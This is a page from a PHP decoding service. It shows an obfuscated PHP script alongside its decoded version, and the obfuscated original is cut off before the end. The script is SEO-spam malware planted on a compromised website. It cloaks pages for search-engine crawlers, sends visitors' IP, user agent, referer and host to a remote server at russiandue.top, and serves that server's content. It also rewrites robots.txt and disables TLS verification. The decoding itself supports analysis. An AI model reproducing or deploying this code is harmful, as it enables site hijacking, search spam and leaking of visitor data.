Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto QAion; oas_7: goto keE3K; goto mZ6mE; WAx1H: $_SERVER["\x52\x45\x51\125\x45\123\x54\1..

Decoded Output download

<?  goto QAion; oas_7: goto keE3K; goto mZ6mE; WAx1H: $_SERVER["REQUEST_SCHEME"] = "https"; goto uE_Aa; EZQOr: $jQXYR = $YQqaq . "?agent={$gjLyH}&refer={$hAbh3}&lang={$TXhfI}&ip={$GB0I_}&dom={$G6Cpe}&http={$ypb_I}&uri={$v0xuv}&pc={$lphQe}&rewriteable={$bmsia}&script={$fwNAB}"; goto xDv1t; wfJIj: $bmsia = 0; goto RUPhM; wajgb: if (strpos($Le0Na, "index.php") !== false) { goto us1Fs; } goto p1sfx; hjK9S: tWA65: goto IImmX; qVoa1: goto ieNZi; goto CFPI4; YRY3V: bAUXC: goto Zijsu; QAion: error_reporting(0); goto YJZ2m; IMapv: @file_put_contents("robots.txt", $IPhLV); goto mU6zd; x1y0l: if (preg_match("/({$L8haU})/i", $_SERVER["HTTP_REFERER"])) { goto b64Tb; } goto nZuTy; xyJk0: goto OOFJ4; goto R5I8U; mU6zd: exit; goto gs781; TEco8: $jQXYR = $YQqaq . "?agent={$gjLyH}&refer={$hAbh3}&lang={$TXhfI}&ip={$GB0I_}&dom={$G6Cpe}&http={$ypb_I}&uri={$v0xuv}&pc={$lphQe}&rewriteable={$bmsia}&script={$fwNAB}"; goto AXc0u; ZRhGf: exit; goto GE4fd; pay2T: $Le0Na = $_SERVER["SCRIPT_NAME"]; goto wajgb; ZLmho: exit; goto N78pR; uhndg: $TXhfI = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto JVi5Y; EVJa0: echo $IPhLV; goto NDw8I; pa0lc: if (preg_match("/({$L8haU})/i", $_SERVER["HTTP_USER_AGENT"])) { goto bAUXC; } goto x1y0l; xDv1t: $IPhLV = bOvW8($jQXYR); goto YNyhd; BwFrW: goto Vab3A; goto T6hOg; mUGpO: exit; goto V68Tz; uKMks: header("HTTP/1.0 403 Forbidden"); goto kw4Zl; hhJ8p: bh0KO: goto K9LFs; t6zuA: $GB0I_ = urlencode($ZVBXB); goto E0zW8; IImmX: goto XEZmX; goto kL0yo; oOhWW: e0Agm: goto T3ctH; GUIRH: $Le0Na = "/?"; goto XOcDO; Se3o2: if ($IPhLV == "ok") { goto OWgaX; } goto wfJIj; OWkTs: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER["HTTP_USER_AGENT"])) { goto OW2ZH; } goto uKMks; JP9qW: $gjLyH = urlencode($_SERVER["HTTP_USER_AGENT"]); goto rszgR; eUGn6: header("HTTP/1.0 500 Internal Server Error"); goto ZRhGf; idiR4: $fwNAB = urlencode($_SERVER["SCRIPT_NAME"]); goto DUPir; qpD7G: exit; goto rqYtr; E0zW8: $G6Cpe = urlencode($_SERVER["HTTP_HOST"]); goto idiR4; bm_Wm: $IPhLV = bOvW8($jQXYR); goto J3MFQ; SYsCo: echo "ok"; goto ajmv5; hFvr8: if ($bmsia == 0) { goto p6TOf; } goto USRUx; kL0yo: r9qzM: goto E3SAw; bNiX4: echo $gvmTu . ": " . $rUdQn . "<br/>"; goto Tnk_Z; Zijsu: $jQXYR = $YQqaq . "?agent={$gjLyH}&refer={$hAbh3}&lang={$TXhfI}&ip={$GB0I_}&dom={$G6Cpe}&http={$ypb_I}&uri={$v0xuv}&pc={$lphQe}&rewriteable={$bmsia}&script={$fwNAB}"; goto OURph; o13a6: function FoWqu($onSS6) { goto gDDsx; QYl0F: curl_setopt($Ddf1S, CURLOPT_URL, $onSS6); goto G04qM; Nnmgk: return $HwhSu; goto wEe2j; CUTIM: jrrXl: goto Nnmgk; I622T: $HwhSu = curl_exec($Ddf1S); goto Bt4s0; OWOL6: $HwhSu = @file_get_contents($onSS6); goto CUTIM; Bt4s0: curl_close($Ddf1S); goto oD7Ct; X1LGe: if (!(strpos($onSS6, "https://") !== false)) { goto hdgT0; } goto TBVPb; TBVPb: curl_setopt($Ddf1S, CURLOPT_SSL_VERIFYPEER, FALSE); goto MPgqU; juv6D: curl_setopt($Ddf1S, CURLOPT_FOLLOWLOCATION, false); goto Mgniv; Mgniv: curl_setopt($Ddf1S, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto X1LGe; gDDsx: $Ddf1S = curl_init(); goto QYl0F; TuHNq: hdgT0: goto I622T; MPgqU: curl_setopt($Ddf1S, CURLOPT_SSL_VERIFYHOST, FALSE); goto TuHNq; G04qM: curl_setopt($Ddf1S, CURLOPT_RETURNTRANSFER, true); goto juv6D; oD7Ct: if (!empty($HwhSu)) { goto jrrXl; } goto OWOL6; wEe2j: } goto OWkTs; UP3Qv: header("HTTP/1.0 403 Forbidden"); goto ZLmho; Czxct: N6kDP: goto EC7Te; cme9f: Vab3A: goto TtD8N; CFPI4: ucpFM: goto sOvpP; nZ2zn: if (!(strpos($v0xuv, "uuuuxxxxooo") !== false)) { goto IR2iZ; } goto SYsCo; p1sfx: $Le0Na = $Le0Na . "?"; goto CBh3o; T4NFa: OW2ZH: goto jG0_6; aF4UC: CRmUc: goto z9i0e; jG0_6: $L8haU = "bing|google|yahoo"; goto v4By0; vRjps: $IPhLV = bOVw8($AmHjS); goto Se3o2; RUPhM: @file_put_contents("uxo.txt", "0"); goto oas_7; GE4fd: zkMRm: goto RLU08; yp9hV: p6TOf: goto GUIRH; sXaoI: if (empty($IPhLV)) { goto EuxGt; } goto ewbUO; m2pmD: function BOVw8($onSS6) { goto rCDex; U9FNt: curl_setopt($Ddf1S, CURLOPT_SSL_VERIFYPEER, FALSE); goto RcbeZ; urwd2: curl_setopt($Ddf1S, CURLOPT_URL, $onSS6); goto xKL3Y; qB12V: return $HwhSu; goto jxkoA; XVNSm: curl_close($Ddf1S); goto PUpWl; PUpWl: PsY9w: goto qB12V; RcbeZ: curl_setopt($Ddf1S, CURLOPT_SSL_VERIFYHOST, FALSE); goto wJ0wr; ewpp8: $Ddf1S = curl_init(); goto urwd2; wJ0wr: WzQNf: goto GIFVt; r0ST5: curl_setopt($Ddf1S, CURLOPT_FOLLOWLOCATION, false); goto XIKKL; SQVJW: if (!empty($HwhSu)) { goto PsY9w; } goto ewpp8; rCDex: $HwhSu = @file_get_contents($onSS6); goto SQVJW; xKL3Y: curl_setopt($Ddf1S, CURLOPT_RETURNTRANSFER, true); goto r0ST5; GIFVt: $HwhSu = curl_exec($Ddf1S); goto XVNSm; XIKKL: if (!(strpos($onSS6, "https://") !== false)) { goto WzQNf; } goto U9FNt; jxkoA: } goto o13a6; Khn5o: $sJRXq = "User-agent: *\xd
Allow: /"; goto twevY; rszgR: $hAbh3 = urlencode($_SERVER["HTTP_REFERER"]); goto uhndg; rqYtr: XEZmX: goto nU8t2; jNMwR: if (!file_exists("uxo.txt")) { goto kELiW; } goto bD8HG; Bb3rE: if (empty($IPhLV)) { goto tWA65; } goto vcpPL; SDtKn: if (!($ZVBXB == "153.246.135.238" || $ZVBXB == "219.101.44.233")) { goto nv61U; } goto UP3Qv; N78pR: nv61U: goto opkIX; IO4CL: exit; goto G0fmh; pND7X: b64Tb: goto n4ObT; T3ctH: header("Content-Type: text/xml; charset=utf-8"); goto QDzZj; VUe4I: echo $IPhLV; goto cqqa5; xmqp6: OOFJ4: goto BwFrW; Z0CV9: header("Content-Type: text/plain; charset=utf-8"); goto AuBl3; QDzZj: OhrJK: goto VUe4I; E3SAw: header("HTTP/1.0 500 Internal Server Error"); goto qpD7G; mZ6mE: OWgaX: goto FKcwn; YJZ2m: function ZOUhy() { goto WBl4m; OMwFA: $GB0I_ = getenv("HTTP_X_REAL_IP"); goto zi70s; ho2cF: if (getenv("HTTP_X_REAL_IP")) { goto Z2Z0X; } goto J8mBF; P6Upe: if (getenv("REMOTE_ADDR")) { goto UfgJC; } goto sYCH0; sYCH0: $GB0I_ = "0.0.0.0"; goto Zx_Aa; yO47V: $GB0I_ = getenv("REMOTE_ADDR"); goto VdZRz; Zx_Aa: goto f64E9; goto IukTN; UoXVC: $GB0I_ = getenv("HTTP_CLIENT_IP"); goto K_wHD; nUIVr: $GB0I_ = getenv("HTTP_X_FORWARDED_FOR"); goto C7bxG; zi70s: goto f64E9; goto IrXyp; IrXyp: fN0Hs: goto nUIVr; IukTN: Z2Z0X: goto OMwFA; lc2aH: return $GB0I_; goto esmQ5; K_wHD: efZPN: goto ho2cF; vyKer: UfgJC: goto yO47V; sjFNl: goto f64E9; goto vyKer; WBl4m: if (!getenv("HTTP_CLIENT_IP")) { goto efZPN; } goto UoXVC; VdZRz: f64E9: goto lc2aH; C7bxG: $G4uAt = explode(",", $GB0I_); goto Itr97; Itr97: $GB0I_ = $G4uAt[0]; goto sjFNl; J8mBF: if (getenv("HTTP_X_FORWARDED_FOR")) { goto fN0Hs; } goto P6Upe; esmQ5: } goto m2pmD; pYuh1: if (preg_match("@^/(.*?).xml$@i", $v0xuv)) { goto Omj0l; } goto pa0lc; EC7Te: goto yYA4g; goto CPWvb; opkIX: $bmsia = 0; goto jNMwR; kXUFI: EuxGt: goto Czxct; NnZRP: goto N6kDP; goto YRY3V; bsMHS: goto wiack; goto veHct; AuBl3: echo $IPhLV = BoVw8($jQXYR); goto IMapv; ajmv5: exit; goto bc3q4; TtD8N: goto fW42B; goto YWZeH; jj5sn: header("Content-Type: text/html; charset=utf-8"); goto cjX1K; twevY: $gvmTu = "{$ypb_I}://" . $G6Cpe . $Le0Na . "sitemap.xml"; goto RPf21; RPf21: $sJRXq = trim($sJRXq) . "
" . "Sitemap: {$gvmTu}"; goto ctg7n; bc3q4: IR2iZ: goto SDtKn; OURph: $IPhLV = BovW8($jQXYR); goto sXaoI; ZkXtR: yYA4g: goto qVoa1; FKcwn: $bmsia = 1; goto NHhbY; AXc0u: $IPhLV = BOVw8($jQXYR); goto EVJa0; XOcDO: IReB2: goto hhJ8p; TAuoF: header("HTTP/1.0 500 Internal Server Error"); goto mUGpO; iijyp: keE3K: goto aF4UC; R2xC6: if (strpos($v0xuv, "jp2023") !== false) { goto jxY56; } goto dnJHR; SFe3w: header("Content-Type: text/xml; charset=utf-8"); goto Pe4Rv; tkdK4: $_SERVER["REQUEST_SCHEME"] = "http"; goto bsMHS; WvEpK: exit; goto m9MwU; vcpPL: header("HTTP/1.1 404 Not Found"); goto uZ4kL; m9MwU: goto EGGhf; goto JpVN0; uE_Aa: wiack: goto YdYSq; KV6LE: kELiW: goto mgmVK; cjX1K: goto OhrJK; goto oOhWW; kw4Zl: exit; goto T4NFa; gs781: ieNZi: goto xyJk0; cqqa5: exit; goto kXUFI; bD8HG: $bmsia = @file_get_contents("uxo.txt"); goto mN0sf; uZ4kL: echo $IPhLV; goto xh67T; YdYSq: $ypb_I = urlencode($_SERVER["REQUEST_SCHEME"]); goto WJ4ll; JVi5Y: $ZVBXB = zoUhy(); goto t6zuA; CBh3o: goto bh0KO; goto vS9UM; CYZO5: $IPhLV = BovW8($jQXYR); goto HAcue; YWZeH: R23DG: goto pay2T; v4By0: $YQqaq = "http://cw95.russiandue.top/index.php"; goto v2_jw; YNyhd: if ($IPhLV == "500") { goto UQJ7X; } goto SFe3w; mN0sf: goto CRmUc; goto KV6LE; z9i0e: if (strpos($v0xuv, "pingsitemap.xml") !== false) { goto R23DG; } goto g1jNG; Tnk_Z: $jQXYR = $YQqaq . "?agent={$gjLyH}&refer={$hAbh3}&lang={$TXhfI}&ip={$GB0I_}&dom={$G6Cpe}&http={$ypb_I}&uri={$v0xuv}&pc={$lphQe}&rewriteable={$bmsia}&script={$fwNAB}&sitemap=" . urlencode($gvmTu); goto CYZO5; WJ4ll: $v0xuv = urldecode($_SERVER["REQUEST_URI"]); goto nZ2zn; g1jNG: if (strpos($v0xuv, "favicon.ico") !== false) { goto Pioeb; } goto R2xC6; n4ObT: $jQXYR = $YQqaq . "?agent={$gjLyH}&refer={$hAbh3}&lang={$TXhfI}&ip={$GB0I_}&dom={$G6Cpe}&http={$ypb_I}&uri={$v0xuv}&pc={$lphQe}&rewriteable={$bmsia}"; goto bm_Wm; nU8t2: vXnAx: goto NnZRP; RGyDM: goto IReB2; goto yp9hV; vS9UM: us1Fs: goto hFvr8; NDw8I: exit; goto xmqp6; CPWvb: Omj0l: goto EZQOr; USRUx: $Le0Na = "/"; goto RGyDM; NHhbY: @file_put_contents("uxo.txt", "1"); goto iijyp; sOvpP: $jQXYR = $YQqaq . "?agent={$gjLyH}&refer={$hAbh3}&lang={$TXhfI}&ip={$GB0I_}&dom={$G6Cpe}&http={$ypb_I}&uri={$v0xuv}&pc={$lphQe}&rewriteable={$bmsia}&script={$fwNAB}"; goto Z0CV9; K9LFs: $JfHtx = "https://www.google.com/ping?sitemap="; goto Khn5o; JpVN0: UQJ7X: goto TAuoF; Pe4Rv: echo $IPhLV; goto WvEpK; ewbUO: if (!($IPhLV == "500")) { goto zkMRm; } goto eUGn6; ctg7n: $rUdQn = ''; goto bNiX4; dnJHR: if (strpos($v0xuv, "robots.txt") !== false || strpos($v0xuv, "writerobots") !== false) { goto ucpFM; } goto pYuh1; xh67T: exit; goto hjK9S; T6hOg: Pioeb: goto cme9f; RLU08: if (substr($IPhLV, 0, 5) == "<?xml") { goto e0Agm; } goto jj5sn; nZuTy: goto vXnAx; goto pND7X; v2_jw: $lphQe = 2773; goto JP9qW; V68Tz: EGGhf: goto ZkXtR; J3MFQ: if ($IPhLV == "500") { goto r9qzM; } goto Bb3rE; HAcue: @file_put_contents("robots.txt", $sJRXq); goto IO4CL; R5I8U: jxY56: goto TEco8; DUPir: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto M8OJd; } goto tkdK4; mgmVK: $AmHjS = $ypb_I . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto vRjps; veHct: M8OJd: goto WAx1H; G0fmh: fW42B: ?>

Did this file decode correctly?

Original Code

goto QAion; oas_7: goto keE3K; goto mZ6mE; WAx1H: $_SERVER["\x52\x45\x51\125\x45\123\x54\137\123\103\x48\105\x4d\x45"] = "\150\164\x74\160\163"; goto uE_Aa; EZQOr: $jQXYR = $YQqaq . "\x3f\x61\x67\145\156\164\75{$gjLyH}\46\x72\145\x66\x65\162\x3d{$hAbh3}\x26\x6c\141\x6e\147\x3d{$TXhfI}\x26\151\x70\x3d{$GB0I_}\46\144\x6f\155\75{$G6Cpe}\46\x68\164\164\x70\x3d{$ypb_I}\46\165\162\x69\75{$v0xuv}\46\160\143\x3d{$lphQe}\x26\162\x65\167\162\x69\x74\x65\x61\142\x6c\x65\x3d{$bmsia}\x26\x73\143\162\151\160\x74\75{$fwNAB}"; goto xDv1t; wfJIj: $bmsia = 0; goto RUPhM; wajgb: if (strpos($Le0Na, "\x69\156\x64\145\170\56\160\x68\160") !== false) { goto us1Fs; } goto p1sfx; hjK9S: tWA65: goto IImmX; qVoa1: goto ieNZi; goto CFPI4; YRY3V: bAUXC: goto Zijsu; QAion: error_reporting(0); goto YJZ2m; IMapv: @file_put_contents("\x72\x6f\142\157\164\163\56\x74\170\x74", $IPhLV); goto mU6zd; x1y0l: if (preg_match("\57\x28{$L8haU}\51\57\151", $_SERVER["\110\124\124\x50\x5f\122\x45\x46\105\x52\105\x52"])) { goto b64Tb; } goto nZuTy; xyJk0: goto OOFJ4; goto R5I8U; mU6zd: exit; goto gs781; TEco8: $jQXYR = $YQqaq . "\x3f\141\x67\145\x6e\x74\75{$gjLyH}\46\162\x65\146\145\x72\75{$hAbh3}\x26\154\x61\156\x67\75{$TXhfI}\46\151\160\x3d{$GB0I_}\x26\x64\x6f\x6d\75{$G6Cpe}\46\150\164\x74\160\75{$ypb_I}\x26\x75\162\151\75{$v0xuv}\x26\160\143\x3d{$lphQe}\46\x72\145\167\x72\x69\164\x65\141\x62\154\145\x3d{$bmsia}\x26\163\x63\x72\151\x70\x74\75{$fwNAB}"; goto AXc0u; ZRhGf: exit; goto GE4fd; pay2T: $Le0Na = $_SERVER["\x53\x43\122\x49\120\124\x5f\116\x41\115\x45"]; goto wajgb; ZLmho: exit; goto N78pR; uhndg: $TXhfI = urlencode($_SERVER["\110\124\x54\x50\x5f\x41\x43\103\105\120\x54\137\x4c\101\116\107\125\x41\x47\x45"]); goto JVi5Y; EVJa0: echo $IPhLV; goto NDw8I; pa0lc: if (preg_match("\57\x28{$L8haU}\x29\x2f\x69", $_SERVER["\110\124\x54\x50\137\x55\x53\x45\122\x5f\x41\x47\105\116\124"])) { goto bAUXC; } goto x1y0l; xDv1t: $IPhLV = bOvW8($jQXYR); goto YNyhd; BwFrW: goto Vab3A; goto T6hOg; mUGpO: exit; goto V68Tz; uKMks: header("\x48\x54\124\x50\x2f\x31\x2e\60\x20\x34\x30\x33\x20\106\x6f\x72\x62\x69\144\144\x65\x6e"); goto kw4Zl; hhJ8p: bh0KO: goto K9LFs; t6zuA: $GB0I_ = urlencode($ZVBXB); goto E0zW8; IImmX: goto XEZmX; goto kL0yo; oOhWW: e0Agm: goto T3ctH; GUIRH: $Le0Na = "\x2f\x3f"; goto XOcDO; Se3o2: if ($IPhLV == "\x6f\153") { goto OWgaX; } goto wfJIj; OWkTs: if (!preg_match("\x2f\50\102\x79\x74\x65\163\160\151\x64\145\x72\x7c\120\145\164\x61\x6c\x42\x6f\164\174\101\150\x72\x65\146\x73\102\157\164\x7c\x42\141\162\x6b\162\157\x77\x6c\x65\162\x7c\x4d\x4a\61\x32\142\x6f\x74\x7c\x46\x65\145\144\104\145\x6d\157\x6e\174\112\x69\x6b\145\123\160\151\x64\145\162\174\x49\156\144\x79\x20\114\x69\142\x72\141\162\171\174\x41\163\x6b\124\x62\x46\x58\x54\126\174\103\162\x61\167\154\x44\x61\144\x64\171\174\103\x6f\x6f\x6c\x70\141\144\x57\x65\142\153\x69\x74\174\112\x61\166\141\174\106\x65\x65\144\x6c\x79\174\125\x6e\151\166\x65\162\x73\141\x6c\x46\x65\x65\x64\x50\x61\x72\163\x65\x72\174\x41\160\x61\x63\x68\145\x42\145\x6e\143\150\174\123\167\x69\146\164\x62\x6f\x74\174\x5a\x6d\x45\x75\x7c\157\102\x6f\164\174\152\141\x75\156\164\171\x7c\120\x79\x74\150\x6f\x6e\55\165\x72\154\x6c\x69\x62\x7c\160\171\164\x68\x6f\156\55\162\145\x71\165\145\x73\164\x73\x7c\154\x69\x67\x68\164\104\145\x63\x6b\122\145\x70\x6f\x72\164\163\x20\x42\x6f\164\174\x59\131\x53\160\x69\x64\x65\162\x7c\x44\151\147\x45\170\x74\x7c\131\x69\163\x6f\x75\x53\x70\151\144\145\162\x7c\x48\x74\x74\160\x43\154\x69\145\156\164\174\x68\x65\162\151\x74\x72\151\x78\x7c\105\141\x73\x6f\x75\x53\x70\x69\144\x65\x72\174\x45\172\157\157\x6d\x73\174\101\155\x61\x7a\x6f\x6e\102\157\x74\x7c\x53\x45\115\162\x75\163\x68\x42\157\x74\x7c\131\x61\156\x64\145\170\x42\x6f\164\174\160\x61\154\157\141\154\x74\157\x6e\x65\x74\167\157\x72\x6b\x73\174\x50\x79\x74\x68\157\156\51\x2f\x69", $_SERVER["\x48\x54\124\120\x5f\x55\123\105\x52\x5f\101\107\105\116\x54"])) { goto OW2ZH; } goto uKMks; JP9qW: $gjLyH = urlencode($_SERVER["\110\124\124\x50\x5f\x55\123\x45\122\137\101\x47\105\116\124"]); goto rszgR; eUGn6: header("\x48\x54\x54\x50\57\x31\56\60\40\x35\x30\x30\40\111\156\164\145\x72\156\x61\x6c\x20\x53\x65\x72\166\145\x72\x20\105\162\x72\157\162"); goto ZRhGf; idiR4: $fwNAB = urlencode($_SERVER["\123\x43\122\111\120\x54\137\116\x41\115\x45"]); goto DUPir; qpD7G: exit; goto rqYtr; E0zW8: $G6Cpe = urlencode($_SERVER["\x48\124\124\x50\137\110\117\x53\x54"]); goto idiR4; bm_Wm: $IPhLV = bOvW8($jQXYR); goto J3MFQ; SYsCo: echo "\157\x6b"; goto ajmv5; hFvr8: if ($bmsia == 0) { goto p6TOf; } goto USRUx; kL0yo: r9qzM: goto E3SAw; bNiX4: echo $gvmTu . "\72\x20" . $rUdQn . "\x3c\x62\162\x2f\x3e"; goto Tnk_Z; Zijsu: $jQXYR = $YQqaq . "\x3f\x61\147\145\x6e\x74\x3d{$gjLyH}\46\x72\x65\146\x65\x72\x3d{$hAbh3}\46\x6c\x61\x6e\147\x3d{$TXhfI}\46\151\x70\x3d{$GB0I_}\46\144\157\x6d\75{$G6Cpe}\x26\150\x74\164\x70\x3d{$ypb_I}\x26\x75\162\x69\x3d{$v0xuv}\46\x70\143\75{$lphQe}\46\162\145\x77\x72\151\x74\145\x61\142\x6c\145\x3d{$bmsia}\46\x73\143\162\151\x70\164\75{$fwNAB}"; goto OURph; o13a6: function FoWqu($onSS6) { goto gDDsx; QYl0F: curl_setopt($Ddf1S, CURLOPT_URL, $onSS6); goto G04qM; Nnmgk: return $HwhSu; goto wEe2j; CUTIM: jrrXl: goto Nnmgk; I622T: $HwhSu = curl_exec($Ddf1S); goto Bt4s0; OWOL6: $HwhSu = @file_get_contents($onSS6); goto CUTIM; Bt4s0: curl_close($Ddf1S); goto oD7Ct; X1LGe: if (!(strpos($onSS6, "\150\164\x74\160\163\x3a\57\57") !== false)) { goto hdgT0; } goto TBVPb; TBVPb: curl_setopt($Ddf1S, CURLOPT_SSL_VERIFYPEER, FALSE); goto MPgqU; juv6D: curl_setopt($Ddf1S, CURLOPT_FOLLOWLOCATION, false); goto Mgniv; Mgniv: curl_setopt($Ddf1S, CURLOPT_USERAGENT, $_SERVER["\x48\x54\124\x50\x5f\125\123\105\x52\137\101\107\105\x4e\124"]); goto X1LGe; gDDsx: $Ddf1S = curl_init(); goto QYl0F; TuHNq: hdgT0: goto I622T; MPgqU: curl_setopt($Ddf1S, CURLOPT_SSL_VERIFYHOST, FALSE); goto TuHNq; G04qM: curl_setopt($Ddf1S, CURLOPT_RETURNTRANSFER, true); goto juv6D; oD7Ct: if (!empty($HwhSu)) { goto jrrXl; } goto OWOL6; wEe2j: } goto OWkTs; UP3Qv: header("\110\124\124\x50\x2f\61\56\x30\x20\64\60\63\x20\x46\x6f\162\142\x69\144\x64\145\x6e"); goto ZLmho; Czxct: N6kDP: goto EC7Te; cme9f: Vab3A: goto TtD8N; CFPI4: ucpFM: goto sOvpP; nZ2zn: if (!(strpos($v0xuv, "\x75\165\165\165\x78\x78\170\170\x6f\157\x6f") !== false)) { goto IR2iZ; } goto SYsCo; p1sfx: $Le0Na = $Le0Na . "\77"; goto CBh3o; T4NFa: OW2ZH: goto jG0_6; aF4UC: CRmUc: goto z9i0e; jG0_6: $L8haU = "\x62\151\x6e\x67\x7c\147\157\157\x67\154\x65\x7c\171\x61\150\157\x6f"; goto v4By0; vRjps: $IPhLV = bOVw8($AmHjS); goto Se3o2; RUPhM: @file_put_contents("\x75\170\x6f\x2e\x74\170\x74", "\60"); goto oas_7; GE4fd: zkMRm: goto RLU08; yp9hV: p6TOf: goto GUIRH; sXaoI: if (empty($IPhLV)) { goto EuxGt; } goto ewbUO; m2pmD: function BOVw8($onSS6) { goto rCDex; U9FNt: curl_setopt($Ddf1S, CURLOPT_SSL_VERIFYPEER, FALSE); goto RcbeZ; urwd2: curl_setopt($Ddf1S, CURLOPT_URL, $onSS6); goto xKL3Y; qB12V: return $HwhSu; goto jxkoA; XVNSm: curl_close($Ddf1S); goto PUpWl; PUpWl: PsY9w: goto qB12V; RcbeZ: curl_setopt($Ddf1S, CURLOPT_SSL_VERIFYHOST, FALSE); goto wJ0wr; ewpp8: $Ddf1S = curl_init(); goto urwd2; wJ0wr: WzQNf: goto GIFVt; r0ST5: curl_setopt($Ddf1S, CURLOPT_FOLLOWLOCATION, false); goto XIKKL; SQVJW: if (!empty($HwhSu)) { goto PsY9w; } goto ewpp8; rCDex: $HwhSu = @file_get_contents($onSS6); goto SQVJW; xKL3Y: curl_setopt($Ddf1S, CURLOPT_RETURNTRANSFER, true); goto r0ST5; GIFVt: $HwhSu = curl_exec($Ddf1S); goto XVNSm; XIKKL: if (!(strpos($onSS6, "\150\x74\x74\160\x73\72\x2f\57") !== false)) { goto WzQNf; } goto U9FNt; jxkoA: } goto o13a6; Khn5o: $sJRXq = "\125\163\x65\162\55\141\x67\x65\x6e\164\72\x20\52\xd\12\x41\154\154\157\167\72\40\57"; goto twevY; rszgR: $hAbh3 = urlencode($_SERVER["\110\124\x54\x50\x5f\122\x45\106\x45\x52\105\122"]); goto uhndg; rqYtr: XEZmX: goto nU8t2; jNMwR: if (!file_exists("\165\170\157\x2e\164\170\x74")) { goto kELiW; } goto bD8HG; Bb3rE: if (empty($IPhLV)) { goto tWA65; } goto vcpPL; SDtKn: if (!($ZVBXB == "\61\65\x33\x2e\62\x34\66\x2e\61\x33\65\56\x32\x33\x38" || $ZVBXB == "\x32\x31\x39\x2e\x31\60\61\56\x34\x34\56\62\x33\63")) { goto nv61U; } goto UP3Qv; N78pR: nv61U: goto opkIX; IO4CL: exit; goto G0fmh; pND7X: b64Tb: goto n4ObT; T3ctH: header("\103\x6f\x6e\164\x65\x6e\x74\55\124\171\160\x65\72\x20\x74\x65\x78\x74\x2f\170\155\x6c\73\40\143\x68\141\162\x73\145\164\75\165\164\146\x2d\x38"); goto QDzZj; VUe4I: echo $IPhLV; goto cqqa5; xmqp6: OOFJ4: goto BwFrW; Z0CV9: header("\103\157\x6e\x74\x65\156\164\x2d\124\171\x70\x65\72\40\x74\145\x78\164\57\160\x6c\141\151\x6e\73\x20\143\150\141\x72\163\x65\164\x3d\x75\164\146\55\x38"); goto AuBl3; QDzZj: OhrJK: goto VUe4I; E3SAw: header("\x48\x54\124\x50\57\61\56\60\40\x35\x30\x30\x20\111\x6e\x74\145\162\x6e\x61\154\x20\123\145\162\x76\x65\162\40\x45\162\x72\157\x72"); goto qpD7G; mZ6mE: OWgaX: goto FKcwn; YJZ2m: function ZOUhy() { goto WBl4m; OMwFA: $GB0I_ = getenv("\110\x54\124\x50\137\x58\x5f\122\x45\x41\x4c\x5f\x49\120"); goto zi70s; ho2cF: if (getenv("\x48\124\124\120\x5f\x58\x5f\122\105\x41\114\x5f\x49\120")) { goto Z2Z0X; } goto J8mBF; P6Upe: if (getenv("\x52\105\115\x4f\x54\x45\x5f\101\x44\x44\x52")) { goto UfgJC; } goto sYCH0; sYCH0: $GB0I_ = "\x30\x2e\x30\56\x30\x2e\x30"; goto Zx_Aa; yO47V: $GB0I_ = getenv("\x52\105\x4d\117\x54\105\137\x41\104\104\x52"); goto VdZRz; Zx_Aa: goto f64E9; goto IukTN; UoXVC: $GB0I_ = getenv("\110\124\x54\x50\137\x43\114\x49\105\116\124\137\x49\120"); goto K_wHD; nUIVr: $GB0I_ = getenv("\x48\124\124\120\137\130\x5f\x46\117\122\127\101\122\x44\105\104\137\106\x4f\x52"); goto C7bxG; zi70s: goto f64E9; goto IrXyp; IrXyp: fN0Hs: goto nUIVr; IukTN: Z2Z0X: goto OMwFA; lc2aH: return $GB0I_; goto esmQ5; K_wHD: efZPN: goto ho2cF; vyKer: UfgJC: goto yO47V; sjFNl: goto f64E9; goto vyKer; WBl4m: if (!getenv("\x48\124\x54\x50\x5f\103\114\111\105\116\x54\137\111\120")) { goto efZPN; } goto UoXVC; VdZRz: f64E9: goto lc2aH; C7bxG: $G4uAt = explode("\x2c", $GB0I_); goto Itr97; Itr97: $GB0I_ = $G4uAt[0]; goto sjFNl; J8mBF: if (getenv("\110\124\x54\x50\x5f\130\137\106\x4f\x52\x57\x41\x52\104\x45\104\137\x46\x4f\x52")) { goto fN0Hs; } goto P6Upe; esmQ5: } goto m2pmD; pYuh1: if (preg_match("\x40\x5e\57\x28\x2e\52\77\x29\56\170\x6d\154\44\100\151", $v0xuv)) { goto Omj0l; } goto pa0lc; EC7Te: goto yYA4g; goto CPWvb; opkIX: $bmsia = 0; goto jNMwR; kXUFI: EuxGt: goto Czxct; NnZRP: goto N6kDP; goto YRY3V; bsMHS: goto wiack; goto veHct; AuBl3: echo $IPhLV = BoVw8($jQXYR); goto IMapv; ajmv5: exit; goto bc3q4; TtD8N: goto fW42B; goto YWZeH; jj5sn: header("\103\157\x6e\164\x65\156\x74\55\124\x79\160\145\72\x20\164\x65\x78\164\57\x68\164\x6d\x6c\73\x20\x63\x68\x61\162\163\145\164\75\x75\x74\x66\55\x38"); goto cjX1K; twevY: $gvmTu = "{$ypb_I}\x3a\x2f\57" . $G6Cpe . $Le0Na . "\163\151\x74\x65\155\141\160\x2e\170\x6d\154"; goto RPf21; RPf21: $sJRXq = trim($sJRXq) . "\15\12" . "\123\x69\164\145\155\141\x70\x3a\x20{$gvmTu}"; goto ctg7n; bc3q4: IR2iZ: goto SDtKn; OURph: $IPhLV = BovW8($jQXYR); goto sXaoI; ZkXtR: yYA4g: goto qVoa1; FKcwn: $bmsia = 1; goto NHhbY; AXc0u: $IPhLV = BOVw8($jQXYR); goto 